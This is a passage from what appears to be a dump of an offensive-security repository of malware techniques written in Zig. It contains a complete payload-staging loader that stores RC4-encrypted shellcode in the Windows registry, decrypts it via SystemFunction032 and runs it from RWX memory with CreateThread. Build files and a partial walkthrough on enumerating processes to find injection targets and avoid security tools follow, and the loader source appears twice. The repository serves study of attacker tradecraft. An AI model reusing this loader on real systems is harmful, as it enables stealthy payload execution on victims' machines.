VirtualAlloc(lpAddress: ?LPVOID, dwSize: SIZE_T, flAllocationType: DWORD, flProtect: DWORD) callconv(.C) ?LPVOID; extern "kernel32" fn VirtualProtect(lpAddress: LPVOID, dwSize: SIZE_T, flNewProtect: DWORD, lpflOldProtect: *DWORD) callconv(.C) BOOL; extern "kernel32" fn CreateThread(lpThreadAttributes: ?*anyopaque, dwStackSize: SIZE_T, lpStartAddress: *const fn (?LPVOID) callconv(.C) DWORD, lpParameter: ?LPVOID, dwCreationFlags: DWORD, lpThreadId: ?*DWORD) callconv(.C) ?HANDLE; extern "kernel32" fn LoadLibraryA(lpLibFileName: [*:0]const u8) callconv(.C) ?HANDLE; extern "kernel32" fn GetProcAddress(hModule: HANDLE, lpProcName: [*:0]const u8) callconv(.C) ?*anyopaque; extern "advapi32" fn RegOpenKeyExA(hKey: windows.HKEY, lpSubKey: [*:0]const u8, ulOptions: DWORD, samDesired: DWORD, phkResult: *windows.HKEY) callconv(.C) LSTATUS; extern "advapi32" fn RegSetValueExA(hKey: windows.HKEY, lpValueName: [*:0]const u8, Reserved: DWORD, dwType: DWORD, lpData: [*]const u8, cbData: DWORD) callconv(.C) LSTATUS; extern "advapi32" fn RegGetValueA(hKey: windows.HKEY, lpSubKey: ?[*:0]const u8, lpValue: [*:0]const u8, dwFlags: DWORD, pdwType: ?*DWORD, pvData: ?LPVOID, pcbData: *DWORD) callconv(.C) LSTATUS; extern "advapi32" fn RegCloseKey(hKey: windows.HKEY) callconv(.C) LSTATUS; // Helper function to wait for Enter key fn waitForEnter() void { var buffer: [256]u8 = undefined; _ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {}; } const fnSystemFunction032 = fn ( Data: *USTRING, Key: *USTRING, ) callconv(.C) NTSTATUS; /// Helper function that calls SystemFunction032 (RC4) /// Reference: https://osandamalith.com/2022/11/10/encrypting-shellcode-using-systemfunction032-033/ pub fn rc4EncryptionViaSystemFunc032( rc4Key: []u8, payloadData: []u8, ) bool { // Prepare the USTRING structs var Data = USTRING{ .Buffer = payloadData.ptr, .Length = @intCast(payloadData.len), .MaximumLength = @intCast(payloadData.len), }; var Key = USTRING{ .Buffer = rc4Key.ptr, .Length = @intCast(rc4Key.len), .MaximumLength = @intCast(rc4Key.len), }; // Convert "Advapi32" to UTF-16LE for LoadLibraryW const advapi32_w = std.unicode.utf8ToUtf16LeStringLiteral("Advapi32"); const advapi32 = kernel32.LoadLibraryW(advapi32_w); if (advapi32 == null) { std.debug.print("[!] LoadLibraryW failed: {}\n", .{kernel32.GetLastError()}); return false; } defer _ = kernel32.FreeLibrary(advapi32.?); const proc_addr = kernel32.GetProcAddress(advapi32.?, "SystemFunction032"); if (proc_addr == null) { std.debug.print("[!] GetProcAddress failed: {}\n", .{kernel32.GetLastError()}); return false; } const SystemFunction032: *const fnSystemFunction032 = @ptrCast(proc_addr); const status: NTSTATUS = SystemFunction032(&Data, &Key); if (status != 0) { std.debug.print("[!] SystemFunction032 FAILED With Error: 0x{X:0>8}\n", .{status}); return false; } return true; } // RC4 key - CHANGED: Made it a var so we can create a mutable copy var RC4_KEY = [_]u8{ 0x8B, 0x9E, 0x3F, 0xC0, 0x3E, 0x31, 0xBF, 0xCF, 0xA5, 0x83, 0x7C, 0xC8, 0x6A, 0x61, 0x96, 0x9A, }; // Msfvenom x64 calc shellcode encrypted by HellShell [RC4] const RC4_CIPHER_TEXT = [_]u8{ 0x3F, 0x8C, 0x01, 0xCA, 0x70, 0x80, 0x3F, 0x6B, 0xE3, 0x7B, 0x77, 0xF2, 0x05, 0x77, 0x0E, 0x97, 0x01, 0xD4, 0x45, 0x48, 0x65, 0xAA, 0x64, 0xD1, 0x04, 0xA1, 0xEB, 0xDF, 0x6E, 0x3C, 0x86, 0xDF, 0x53, 0x89, 0xD4, 0x33, 0x87, 0x09, 0x9D, 0xF5, 0xB0, 0x25, 0xA3, 0xB0, 0xFA, 0x47, 0xA1, 0x8B, 0x54, 0x36, 0x5D, 0x2A, 0x12, 0x6D, 0x9D, 0xCC, 0x37, 0x1B, 0x44, 0x4D, 0x1C, 0xD2, 0x0B, 0x26, 0x41, 0xC8, 0x55, 0x14, 0xBD, 0x0A, 0xEF, 0x93, 0x3A, 0x4B, 0xA2, 0x3D, 0xF9, 0x67, 0x6E, 0xB4, 0x68, 0x66, 0x44, 0xE2, 0x5D, 0xC9, 0xE6, 0xF7, 0xE9, 0x99, 0x68, 0x5E, 0x5E, 0xB0, 0x5E, 0xDE, 0xB6, 0xF6, 0x66, 0x85, 0xF5, 0xEA, 0xA1, 0xB4, 0x4C, 0xF9, 0x70, 0xF4, 0xA2, 0x65, 0x33, 0xBD, 0x5F, 0xD6, 0x55, 0x1A, 0x96, 0x51, 0x59, 0xE7, 0x13, 0x04, 0x10, 0x27, 0x46, 0x41, 0xBB, 0x1A, 0xBC, 0x31, 0x46, 0x6E, 0x74, 0x72, 0x6D, 0x3F, 0xFE, 0x46, 0x1D, 0x55, 0x84, 0xA6, 0x24, 0x04, 0x3B, 0xE1, 0x16, 0x21, 0x1F, 0xFA, 0xA4, 0x4E, 0x34, 0x91, 0x02, 0x55, 0x2B, 0xE1, 0xAD, 0xD3, 0x7B, 0x52, 0xE8, 0xF3, 0xBF, 0x25, 0x17, 0xD9, 0x1B, 0xB7, 0x75, 0x01, 0x35, 0xF2, 0x5C, 0x94, 0xA6, 0xCF, 0x92, 0xA1, 0x09, 0x23, 0x9C, 0x66, 0x73, 0x5E, 0x1A, 0xC5, 0xBD, 0xE2, 0x78, 0x60, 0x9F, 0xC9, 0xF5, 0xFD, 0xE4, 0xD3, 0x02, 0x8F, 0x10, 0x11, 0x62, 0xFD, 0x0E, 0x80, 0xD3, 0x2E, 0x87, 0x73, 0xB1, 0x9A, 0x75, 0xA6, 0x49, 0x1C, 0x8E, 0x2F, 0x6C, 0x28, 0xB6, 0xB8, 0x09, 0x18, 0x71, 0x73, 0x7D, 0x97, 0x97, 0x67, 0xEF, 0xA5, 0x8D, 0x07, 0xD6, 0xDB, 0x43, 0x1F, 0x03, 0x31, 0x6E, 0x91, 0x87, 0x9A, 0xDC, 0x12, 0xE7, 0x3C, 0xBA, 0x94, 0x79, 0xA7, 0x19, 0xAF, 0xBB, 0xE5, 0x0B, 0x0F, 0xF5, 0xB9, 0x41, 0xD4, 0x4C, 0x8B, 0x63, 0xAF, 0xEE, 0xC8, 0xAF, 0x7C, 0xC9, 0xBE, }; // Function that reads the payload from the registry key fn readShellcodeFromRegistry() ![]u8 { var dw_bytes_read: DWORD = 0; // Fetching the payload's size var status = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, null, null, &dw_bytes_read); if (status != ERROR_SUCCESS) { print("[!] RegGetValueA Failed With Error : {d}\n", .{status}); return error.RegGetValueFailed; } // Allocating heap that will store the payload that will be read const p_bytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dw_bytes_read) orelse { print("[!] HeapAlloc Failed With Error : {d}\n", .{GetLastError()}); return error.HeapAllocFailed; }; // Reading the payload from "REGISTRY" key, from value "REGSTRING" status = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, null, p_bytes, &dw_bytes_read); if (status != ERROR_SUCCESS) { print("[!] RegGetValueA Failed With Error : {d}\n", .{status}); _ = HeapFree(GetProcessHeap(), 0, p_bytes); return error.RegGetValueFailed; } return @as([*]u8, @ptrCast(p_bytes))[0..dw_bytes_read]; } // Function that writes the payload to the registry key fn writeShellcodeToRegistry(shellcode: []const u8) !void { var h_key: windows.HKEY = undefined; print("[i] Writing 0x{X} [ Size: {d} ] to \"{s}\\{s}\" ... \n", .{ @intFromPtr(shellcode.ptr), shellcode.len, REGISTRY, REGSTRING }); // Opening handle to "REGISTRY" registry key var status = RegOpenKeyExA(HKEY_CURRENT_USER, REGISTRY, 0, KEY_SET_VALUE, &h_key); if (status != ERROR_SUCCESS) { print("[!] RegOpenKeyExA Failed With Error : {d}\n", .{status}); return error.RegOpenKeyFailed; } defer _ = RegCloseKey(h_key); // Creating string value "REGSTRING" and writing the payload to it as a binary value status = RegSetValueExA(h_key, REGSTRING, 0, REG_BINARY, shellcode.ptr, @intCast(shellcode.len)); if (status != ERROR_SUCCESS) { print("[!] RegSetValueExA Failed With Error : {d}\n", .{status}); return error.RegSetValueFailed; } print("[+] DONE ! \n", .{}); } // Local shellcode execution fn runShellcode(decrypted_shellcode: []const u8) !void { const shellcode_address = VirtualAlloc(null, decrypted_shellcode.len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) orelse { print("[!] VirtualAlloc Failed With Error : {d} \n", .{GetLastError()}); return error.VirtualAllocFailed; }; print("[i] Allocated Memory At : 0x{X} \n", .{@intFromPtr(shellcode_address)}); @memcpy(@as([*]u8, @ptrCast(shellcode_address))[0..decrypted_shellcode.len], decrypted_shellcode); var old_protection: DWORD = 0; if (VirtualProtect(shellcode_address, decrypted_shellcode.len, PAGE_EXECUTE_READWRITE, &old_protection) == 0) { print("[!] VirtualProtect Failed With Error : {d} \n", .{GetLastError()}); return error.VirtualProtectFailed; } print("[#] Press <Enter> To Run ... ", .{}); waitForEnter(); const thread_handle = CreateThread(null, 0, @ptrCast(shellcode_address), null, 0, null) orelse { print("[!] CreateThread Failed With Error : {d} \n", .{GetLastError()}); return error.CreateThreadFailed; }; _ = thread_handle; } pub fn main() !void { if (comptime WRITEMODE) { // Write the shellcode to the registry print("[#] Press <Enter> To Write The Shellcode To The Registry...", .{}); waitForEnter(); writeShellcodeToRegistry(&RC4_CIPHER_TEXT) catch |err| { print("[!] Failed to write shellcode to registry: {}\n", .{err}); std.process.exit(1); }; } if (comptime READMODE) { print("[#] Press <Enter> To Read The Shellcode From The Registry...", .{}); waitForEnter(); // Read the shellcode print("[i] Reading Shellcode ... \n", .{}); const payload_bytes = readShellcodeFromRegistry() catch |err| { print("[!] Failed to read shellcode from registry: {}\n", .{err}); std.process.exit(1); }; defer _ = HeapFree(GetProcessHeap(), 0, @ptrCast(payload_bytes.ptr)); print("[+] DONE \n", .{}); print("[+] Payload Of Size [{d}] Read At : 0x{X} \n", .{ payload_bytes.len, @intFromPtr(payload_bytes.ptr) }); // Decrypting the shellcode print("[#] Press <Enter> To Decrypt The Shellcode ...", .{}); waitForEnter(); print("[i] Decrypting Shellcode ... \n", .{}); // FIXED: Pass RC4_KEY as a slice instead of pointer to array if (!rc4EncryptionViaSystemFunc032(RC4_KEY[0..], payload_bytes)) { print("[!] Failed to decrypt shellcode\n", .{}); std.process.exit(1); } print("[+] DONE \n", .{}); // Running the shellcode runShellcode(payload_bytes) catch |err| { print("[!] Failed to execute shellcode: {}\n", .{err}); std.process.exit(1); }; } print("[#] Press <Enter> To Quit ...", .{}); waitForEnter(); } ``` ## /src/Malware-Techniques/Payload-Staging/windows_registry/build.zig ```zig path="/src/Malware-Techniques/Payload-Staging/windows_registry/build.zig" const std = @import("std"); pub fn build(b: *std.Build) void { const target = b.standardTargetOptions(.{ .default_target = .{ .cpu_arch = .x86_64, .os_tag = .windows } }); const optimize = b.standardOptimizeOption(.{}); const exe = b.addExecutable(.{ .name = "windows_registry", .root_source_file = b.path("src/main.zig"), .target = target, .optimize = optimize, }); b.installArtifact(exe); const run_cmd = b.addRunArtifact(exe); run_cmd.step.dependOn(b.getInstallStep()); if (b.args) |args| { run_cmd.addArgs(args); } const run_step = b.step("run", "Run the app"); run_step.dependOn(&run_cmd.step); const exe_tests = b.addTest(.{ .root_source_file = b.path("src/main.zig"), .target = target, .optimize = optimize, }); const run_exe_tests = b.addRunArtifact(exe_tests); const test_step = b.step("test", "Run unit tests"); test_step.dependOn(&run_exe_tests.step); } ``` ## /src/Malware-Techniques/Payload-Staging/windows_registry/build.zig.zon ```zon path="/src/Malware-Techniques/Payload-Staging/windows_registry/build.zig.zon" .{ // This is the default name used by packages depending on this one. For // example, when a user runs `zig fetch --save <url>`, this field is used // as the key in the `dependencies` table. Although the user can choose a // different name, most users will stick with this provided value. // // It is redundant to include "zig" in this name because it is already // within the Zig package namespace. .name = .windows_registry, // This is a [Semantic Version](https://semver.org/). // In a future version of Zig it will be used for package deduplication. .version = "0.0.0", // Together with name, this represents a globally unique package // identifier. This field is generated by the Zig toolchain when the // package is first created, and then *never changes*. This allows // unambiguous detection of one package being an updated version of // another. // // When forking a Zig project, this id should be regenerated (delete the // field and run `zig build`) if the upstream project is still maintained. // Otherwise, the fork is *hostile*, attempting to take control over the // original project's identity. Thus it is recommended to leave the comment // on the following line intact, so that it shows up in code reviews that // modify the field. .fingerprint = 0xe6a4fe827f3ecaeb, // Changing this has security and trust implications. // Tracks the earliest Zig version that the package considers to be a // supported use case. .minimum_zig_version = "0.14.0", // This field is optional. // Each dependency must either provide a `url` and `hash`, or a `path`. // `zig build --fetch` can be used to fetch all dependencies of a package, recursively. // Once all dependencies are fetched, `zig build` no longer requires // internet connectivity. .dependencies = .{ // See `zig fetch --save <url>` for a command-line interface for adding dependencies. //.example = .{ // // When updating this field to a new URL, be sure to delete the corresponding // // `hash`, otherwise you are communicating that you expect to find the old hash at // // the new URL. If the contents of a URL change this will result in a hash mismatch // // which will prevent zig from using it. // .url = "https://example.com/foo.tar.gz", // // // This is computed from the file contents of the directory of files that is // // obtained after fetching `url` and applying the inclusion rules given by // // `paths`. // // // // This field is the source of truth; packages do not come from a `url`; they // // come from a `hash`. `url` is just one of many possible mirrors for how to // // obtain a package matching this `hash`. // // // // Uses the [multihash](https://multiformats.io/multihash/) format. // .hash = "...", // // // When this is provided, the package is found in a directory relative to the // // build root. In this case the package's hash is irrelevant and therefore not // // computed. This field and `url` are mutually exclusive. // .path = "foo", // // // When this is set to `true`, a package is declared to be lazily // // fetched. This makes the dependency only get fetched if it is // // actually used. // .lazy = false, //}, }, // Specifies the set of files and directories that are included in this package. // Only files and directories listed here are included in the `hash` that // is computed for this package. Only files listed here will remain on disk // when using the zig package manager. As a rule of thumb, one should list // files required for compilation plus any license(s). // Paths are relative to the build root. Use the empty string (`""`) to refer to // the build root itself. // A directory listed here means that all files within, recursively, are included. .paths = .{ "build.zig", "build.zig.zon", "src", // For example... //"LICENSE", //"README.md", }, } ``` ## /src/Malware-Techniques/Payload-Staging/windows_registry/src/main.zig ```zig path="/src/Malware-Techniques/Payload-Staging/windows_registry/src/main.zig" const std = @import("std"); const windows = std.os.windows; const print = std.debug.print; const kernel32 = windows.kernel32; // Uncomment one of the following to enable the read/write mode const WRITEMODE = true; // Changed to false for READ MODE const READMODE = !WRITEMODE; // Changed to true for READ MODE // I/O registry key to read/write const REGISTRY = "Control Panel"; const REGSTRING = "Black-Hat-Zig"; // Windows API types const HANDLE = windows.HANDLE; const DWORD = windows.DWORD; const BOOL = windows.BOOL; const LPVOID = *anyopaque; const PVOID = *anyopaque; const PBYTE = [*]u8; const SIZE_T = usize; const LSTATUS = i32; const NTSTATUS = i32; // Registry constants const HKEY_CURRENT_USER = @as(windows.HKEY, @ptrFromInt(0x80000001)); const KEY_SET_VALUE = 0x0002; const REG_BINARY = 3; const RRF_RT_ANY = 0x0000FFFF; const ERROR_SUCCESS = 0; // Memory constants const MEM_COMMIT = 0x1000; const MEM_RESERVE = 0x2000; const PAGE_READWRITE = 0x04; const PAGE_EXECUTE_READWRITE = 0x40; const HEAP_ZERO_MEMORY = 0x00000008; // USTRING structure for SystemFunction032 const USTRING = extern struct { Length: DWORD, MaximumLength: DWORD, Buffer: PVOID, }; // Windows API function declarations extern "kernel32" fn GetLastError() callconv(.C) DWORD; extern "kernel32" fn GetProcessHeap() callconv(.C) HANDLE; extern "kernel32" fn HeapAlloc(hHeap: HANDLE, dwFlags: DWORD, dwBytes: SIZE_T) callconv(.C) ?LPVOID; extern "kernel32" fn HeapFree(hHeap: HANDLE, dwFlags: DWORD, lpMem: LPVOID) callconv(.C) BOOL; extern "kernel32" fn VirtualAlloc(lpAddress: ?LPVOID, dwSize: SIZE_T, flAllocationType: DWORD, flProtect: DWORD) callconv(.C) ?LPVOID; extern "kernel32" fn VirtualProtect(lpAddress: LPVOID, dwSize: SIZE_T, flNewProtect: DWORD, lpflOldProtect: *DWORD) callconv(.C) BOOL; extern "kernel32" fn CreateThread(lpThreadAttributes: ?*anyopaque, dwStackSize: SIZE_T, lpStartAddress: *const fn (?LPVOID) callconv(.C) DWORD, lpParameter: ?LPVOID, dwCreationFlags: DWORD, lpThreadId: ?*DWORD) callconv(.C) ?HANDLE; extern "kernel32" fn LoadLibraryA(lpLibFileName: [*:0]const u8) callconv(.C) ?HANDLE; extern "kernel32" fn GetProcAddress(hModule: HANDLE, lpProcName: [*:0]const u8) callconv(.C) ?*anyopaque; extern "advapi32" fn RegOpenKeyExA(hKey: windows.HKEY, lpSubKey: [*:0]const u8, ulOptions: DWORD, samDesired: DWORD, phkResult: *windows.HKEY) callconv(.C) LSTATUS; extern "advapi32" fn RegSetValueExA(hKey: windows.HKEY, lpValueName: [*:0]const u8, Reserved: DWORD, dwType: DWORD, lpData: [*]const u8, cbData: DWORD) callconv(.C) LSTATUS; extern "advapi32" fn RegGetValueA(hKey: windows.HKEY, lpSubKey: ?[*:0]const u8, lpValue: [*:0]const u8, dwFlags: DWORD, pdwType: ?*DWORD, pvData: ?LPVOID, pcbData: *DWORD) callconv(.C) LSTATUS; extern "advapi32" fn RegCloseKey(hKey: windows.HKEY) callconv(.C) LSTATUS; // Helper function to wait for Enter key fn waitForEnter() void { var buffer: [256]u8 = undefined; _ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {}; } const fnSystemFunction032 = fn ( Data: *USTRING, Key: *USTRING, ) callconv(.C) NTSTATUS; /// Helper function that calls SystemFunction032 (RC4) /// Reference: https://osandamalith.com/2022/11/10/encrypting-shellcode-using-systemfunction032-033/ pub fn rc4EncryptionViaSystemFunc032( rc4Key: []u8, payloadData: []u8, ) bool { // Prepare the USTRING structs var Data = USTRING{ .Buffer = payloadData.ptr, .Length = @intCast(payloadData.len), .MaximumLength = @intCast(payloadData.len), }; var Key = USTRING{ .Buffer = rc4Key.ptr, .Length = @intCast(rc4Key.len), .MaximumLength = @intCast(rc4Key.len), }; // Convert "Advapi32" to UTF-16LE for LoadLibraryW const advapi32_w = std.unicode.utf8ToUtf16LeStringLiteral("Advapi32"); const advapi32 = kernel32.LoadLibraryW(advapi32_w); if (advapi32 == null) { std.debug.print("[!] LoadLibraryW failed: {}\n", .{kernel32.GetLastError()}); return false; } defer _ = kernel32.FreeLibrary(advapi32.?); const proc_addr = kernel32.GetProcAddress(advapi32.?, "SystemFunction032"); if (proc_addr == null) { std.debug.print("[!] GetProcAddress failed: {}\n", .{kernel32.GetLastError()}); return false; } const SystemFunction032: *const fnSystemFunction032 = @ptrCast(proc_addr); const status: NTSTATUS = SystemFunction032(&Data, &Key); if (status != 0) { std.debug.print("[!] SystemFunction032 FAILED With Error: 0x{X:0>8}\n", .{status}); return false; } return true; } // RC4 key - CHANGED: Made it a var so we can create a mutable copy var RC4_KEY = [_]u8{ 0x8B, 0x9E, 0x3F, 0xC0, 0x3E, 0x31, 0xBF, 0xCF, 0xA5, 0x83, 0x7C, 0xC8, 0x6A, 0x61, 0x96, 0x9A, }; // Msfvenom x64 calc shellcode encrypted by HellShell [RC4] const RC4_CIPHER_TEXT = [_]u8{ 0x3F, 0x8C, 0x01, 0xCA, 0x70, 0x80, 0x3F, 0x6B, 0xE3, 0x7B, 0x77, 0xF2, 0x05, 0x77, 0x0E, 0x97, 0x01, 0xD4, 0x45, 0x48, 0x65, 0xAA, 0x64, 0xD1, 0x04, 0xA1, 0xEB, 0xDF, 0x6E, 0x3C, 0x86, 0xDF, 0x53, 0x89, 0xD4, 0x33, 0x87, 0x09, 0x9D, 0xF5, 0xB0, 0x25, 0xA3, 0xB0, 0xFA, 0x47, 0xA1, 0x8B, 0x54, 0x36, 0x5D, 0x2A, 0x12, 0x6D, 0x9D, 0xCC, 0x37, 0x1B, 0x44, 0x4D, 0x1C, 0xD2, 0x0B, 0x26, 0x41, 0xC8, 0x55, 0x14, 0xBD, 0x0A, 0xEF, 0x93, 0x3A, 0x4B, 0xA2, 0x3D, 0xF9, 0x67, 0x6E, 0xB4, 0x68, 0x66, 0x44, 0xE2, 0x5D, 0xC9, 0xE6, 0xF7, 0xE9, 0x99, 0x68, 0x5E, 0x5E, 0xB0, 0x5E, 0xDE, 0xB6, 0xF6, 0x66, 0x85, 0xF5, 0xEA, 0xA1, 0xB4, 0x4C, 0xF9, 0x70, 0xF4, 0xA2, 0x65, 0x33, 0xBD, 0x5F, 0xD6, 0x55, 0x1A, 0x96, 0x51, 0x59, 0xE7, 0x13, 0x04, 0x10, 0x27, 0x46, 0x41, 0xBB, 0x1A, 0xBC, 0x31, 0x46, 0x6E, 0x74, 0x72, 0x6D, 0x3F, 0xFE, 0x46, 0x1D, 0x55, 0x84, 0xA6, 0x24, 0x04, 0x3B, 0xE1, 0x16, 0x21, 0x1F, 0xFA, 0xA4, 0x4E, 0x34, 0x91, 0x02, 0x55, 0x2B, 0xE1, 0xAD, 0xD3, 0x7B, 0x52, 0xE8, 0xF3, 0xBF, 0x25, 0x17, 0xD9, 0x1B, 0xB7, 0x75, 0x01, 0x35, 0xF2, 0x5C, 0x94, 0xA6, 0xCF, 0x92, 0xA1, 0x09, 0x23, 0x9C, 0x66, 0x73, 0x5E, 0x1A, 0xC5, 0xBD, 0xE2, 0x78, 0x60, 0x9F, 0xC9, 0xF5, 0xFD, 0xE4, 0xD3, 0x02, 0x8F, 0x10, 0x11, 0x62, 0xFD, 0x0E, 0x80, 0xD3, 0x2E, 0x87, 0x73, 0xB1, 0x9A, 0x75, 0xA6, 0x49, 0x1C, 0x8E, 0x2F, 0x6C, 0x28, 0xB6, 0xB8, 0x09, 0x18, 0x71, 0x73, 0x7D, 0x97, 0x97, 0x67, 0xEF, 0xA5, 0x8D, 0x07, 0xD6, 0xDB, 0x43, 0x1F, 0x03, 0x31, 0x6E, 0x91, 0x87, 0x9A, 0xDC, 0x12, 0xE7, 0x3C, 0xBA, 0x94, 0x79, 0xA7, 0x19, 0xAF, 0xBB, 0xE5, 0x0B, 0x0F, 0xF5, 0xB9, 0x41, 0xD4, 0x4C, 0x8B, 0x63, 0xAF, 0xEE, 0xC8, 0xAF, 0x7C, 0xC9, 0xBE, }; // Function that reads the payload from the registry key fn readShellcodeFromRegistry() ![]u8 { var dw_bytes_read: DWORD = 0; // Fetching the payload's size var status = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, null, null, &dw_bytes_read); if (status != ERROR_SUCCESS) { print("[!] RegGetValueA Failed With Error : {d}\n", .{status}); return error.RegGetValueFailed; } // Allocating heap that will store the payload that will be read const p_bytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dw_bytes_read) orelse { print("[!] HeapAlloc Failed With Error : {d}\n", .{GetLastError()}); return error.HeapAllocFailed; }; // Reading the payload from "REGISTRY" key, from value "REGSTRING" status = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, null, p_bytes, &dw_bytes_read); if (status != ERROR_SUCCESS) { print("[!] RegGetValueA Failed With Error : {d}\n", .{status}); _ = HeapFree(GetProcessHeap(), 0, p_bytes); return error.RegGetValueFailed; } return @as([*]u8, @ptrCast(p_bytes))[0..dw_bytes_read]; } // Function that writes the payload to the registry key fn writeShellcodeToRegistry(shellcode: []const u8) !void { var h_key: windows.HKEY = undefined; print("[i] Writing 0x{X} [ Size: {d} ] to \"{s}\\{s}\" ... \n", .{ @intFromPtr(shellcode.ptr), shellcode.len, REGISTRY, REGSTRING }); // Opening handle to "REGISTRY" registry key var status = RegOpenKeyExA(HKEY_CURRENT_USER, REGISTRY, 0, KEY_SET_VALUE, &h_key); if (status != ERROR_SUCCESS) { print("[!] RegOpenKeyExA Failed With Error : {d}\n", .{status}); return error.RegOpenKeyFailed; } defer _ = RegCloseKey(h_key); // Creating string value "REGSTRING" and writing the payload to it as a binary value status = RegSetValueExA(h_key, REGSTRING, 0, REG_BINARY, shellcode.ptr, @intCast(shellcode.len)); if (status != ERROR_SUCCESS) { print("[!] RegSetValueExA Failed With Error : {d}\n", .{status}); return error.RegSetValueFailed; } print("[+] DONE ! \n", .{}); } // Local shellcode execution fn runShellcode(decrypted_shellcode: []const u8) !void { const shellcode_address = VirtualAlloc(null, decrypted_shellcode.len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) orelse { print("[!] VirtualAlloc Failed With Error : {d} \n", .{GetLastError()}); return error.VirtualAllocFailed; }; print("[i] Allocated Memory At : 0x{X} \n", .{@intFromPtr(shellcode_address)}); @memcpy(@as([*]u8, @ptrCast(shellcode_address))[0..decrypted_shellcode.len], decrypted_shellcode); var old_protection: DWORD = 0; if (VirtualProtect(shellcode_address, decrypted_shellcode.len, PAGE_EXECUTE_READWRITE, &old_protection) == 0) { print("[!] VirtualProtect Failed With Error : {d} \n", .{GetLastError()}); return error.VirtualProtectFailed; } print("[#] Press <Enter> To Run ... ", .{}); waitForEnter(); const thread_handle = CreateThread(null, 0, @ptrCast(shellcode_address), null, 0, null) orelse { print("[!] CreateThread Failed With Error : {d} \n", .{GetLastError()}); return error.CreateThreadFailed; }; _ = thread_handle; } pub fn main() !void { if (comptime WRITEMODE) { // Write the shellcode to the registry print("[#] Press <Enter> To Write The Shellcode To The Registry...", .{}); waitForEnter(); writeShellcodeToRegistry(&RC4_CIPHER_TEXT) catch |err| { print("[!] Failed to write shellcode to registry: {}\n", .{err}); std.process.exit(1); }; } if (comptime READMODE) { print("[#] Press <Enter> To Read The Shellcode From The Registry...", .{}); waitForEnter(); // Read the shellcode print("[i] Reading Shellcode ... \n", .{}); const payload_bytes = readShellcodeFromRegistry() catch |err| { print("[!] Failed to read shellcode from registry: {}\n", .{err}); std.process.exit(1); }; defer _ = HeapFree(GetProcessHeap(), 0, @ptrCast(payload_bytes.ptr)); print("[+] DONE \n", .{}); print("[+] Payload Of Size [{d}] Read At : 0x{X} \n", .{ payload_bytes.len, @intFromPtr(payload_bytes.ptr) }); // Decrypting the shellcode print("[#] Press <Enter> To Decrypt The Shellcode ...", .{}); waitForEnter(); print("[i] Decrypting Shellcode ... \n", .{}); // FIXED: Pass RC4_KEY as a slice instead of pointer to array if (!rc4EncryptionViaSystemFunc032(RC4_KEY[0..], payload_bytes)) { print("[!] Failed to decrypt shellcode\n", .{}); std.process.exit(1); } print("[+] DONE \n", .{}); // Running the shellcode runShellcode(payload_bytes) catch |err| { print("[!] Failed to execute shellcode: {}\n", .{err}); std.process.exit(1); }; } print("[#] Press <Enter> To Quit ...", .{}); waitForEnter(); } ``` ## /src/Malware-Techniques/Process-Enumeration/create_tool_help_32_snapshot.md # Using CreateToolhelp32Snapshot ## TL;DR [See the code example](https://github.com/CX330Blake/Black-Hat-Zig/tree/main/src/Malware-Techniques/Process-Enumeration/create_tool_help_32_snapshot) `CreateToolhelp32Snapshot` allows us to capture a snapshot of the system's process list. By iterating through this snapshot with `Process32First` and `Process32Next`, we can collect information about every running process. Malware often enumerates processes to find suitable targets for injection or to avoid certain security tools. This example demonstrates how to traverse the snapshot, identify the desired process, and obtain its handle for later use in other techniques such as code injection. ## Code Walkthrough ```zig title="main.zig" const std = @import("std"); const windows = std.os.windows; const print = std.debug.print; // Windows API types const DWORD = windows.DWORD; const HANDLE = windows.HANDLE; const BOOL = windows.BOOL; const WINAPI = windows.WINAPI; // Configuration const TARGET_PROCESS = "svchost.exe"; // Convert UTF-8 to UTF-16 at compile time const W = std.unicode.utf8ToUtf16LeStringLiteral; // Constants for CreateToolhelp32Snapshot const TH32CS_SNAPPROCESS: DWORD = 0x00000002; const INVALID_HANDLE_VALUE: HANDLE = @as(HANDLE, @ptrFromInt(@as(usize, @bitCast(@as(isize, -1))))); const MAX_PATH: usize = 260; // PROCESSENTRY32W structure const PROCESSENTRY32W = extern struct { dwSize: DWORD, cntUsage: DWORD, th32ProcessID: DWORD, th32DefaultHeapID: usize, // ULONG_PTR th32ModuleID: DWORD, cntThreads: DWORD, th32ParentProcessID: DWORD, pcPriClassBase: i32, // LONG dwFlags: DWORD, szExeFile: [MAX_PATH]u16, // WCHAR[MAX_PATH] }; // External function declarations for ToolHelp32 API extern "kernel32" fn CreateToolhelp32Snapshot(dwFlags: DWORD, th32ProcessID: DWORD) callconv(WINAPI) HANDLE; extern "kernel32" fn Process32FirstW(hSnapshot: HANDLE, lppe: *PROCESSENTRY32W) callconv(WINAPI) BOOL; extern "kernel32" fn Process32NextW(hSnapshot: HANDLE, lppe: *PROCESSENTRY32W) callconv(WINAPI) BOOL; extern "kernel32" fn CloseHandle(hObject: HANDLE) callconv(WINAPI) BOOL; extern "kernel32" fn GetLastError() callconv(WINAPI) DWORD; extern "kernel32" fn OpenProcess(dwDesiredAccess: DWORD, bInheritHandle: BOOL, dwProcessId: DWORD) callconv(WINAPI) ?HANDLE; // Constants const PROCESS_ALL_ACCESS = 0x001F0FFF; // ProcessResult structure const ProcessResult = struct { pid: DWORD, handle: HANDLE, pub fn deinit(self: ProcessResult) void { _ = CloseHandle(self.handle); } }; // Helper function to convert UTF-8 string to UTF-16 (wide string) fn convertToWideString(allocator: std.mem.Allocator, utf8_str: []const u8) ![]u16 { const utf16_len = try std.unicode.calcUtf16LeLen(utf8_str); var wide_string = try allocator.alloc(u16, utf16_len + 1); _ = try std.unicode.utf8ToUtf16Le(wide_string[0..utf16_len], utf8_str); wide_string[utf16_len] = 0; // Null terminate return wide_string; } // Helper function to compare wide strings (case-insensitive) fn compareWideStringsIgnoreCase(str1: []const u16, str2: []const u16) bool { if (str1.len 